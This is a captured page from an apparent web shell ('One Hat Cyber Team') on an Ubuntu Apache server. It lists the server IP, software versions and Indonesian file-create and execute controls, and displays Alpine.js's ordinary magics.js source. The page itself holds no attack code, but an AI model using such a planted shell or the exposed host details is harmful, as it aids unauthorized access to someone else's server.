One Hat Cyber Team
Your IP :
10.30.1.1
Server IP :
103.148.201.5
Server :
Linux web-olt 5.15.0-161-generic #171-Ubuntu SMP Sat Oct 11 08:17:01 UTC 2025 x86_64
Server Software :
Apache/2.4.52 (Ubuntu)
PHP Version :
8.1.29
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
var
/
www
/
html
/
sukma
/
node_modules
/
alpinejs
/
src
/
View File Name :
magics.js
import { getElementBoundUtilities } from './directives' import { interceptor } from './interceptor' import { onElRemoved } from './mutation' let magics = {} export function magic(name, callback) { magics[name] = callback } export function injectMagics(obj, el) { let memoizedUtilities = getUtilities(el) Object.entries(magics).forEach(([name, callback]) => { Object.defineProperty(obj, `$${name}`, { get() { return callback(el, memoizedUtilities); }, enumerable: false, }) }) return obj } export function getUtilities(el) { let [utilities, cleanup] = getElementBoundUtilities(el) let utils = { interceptor, ...utilities } onElRemoved(el, cleanup) return utils; }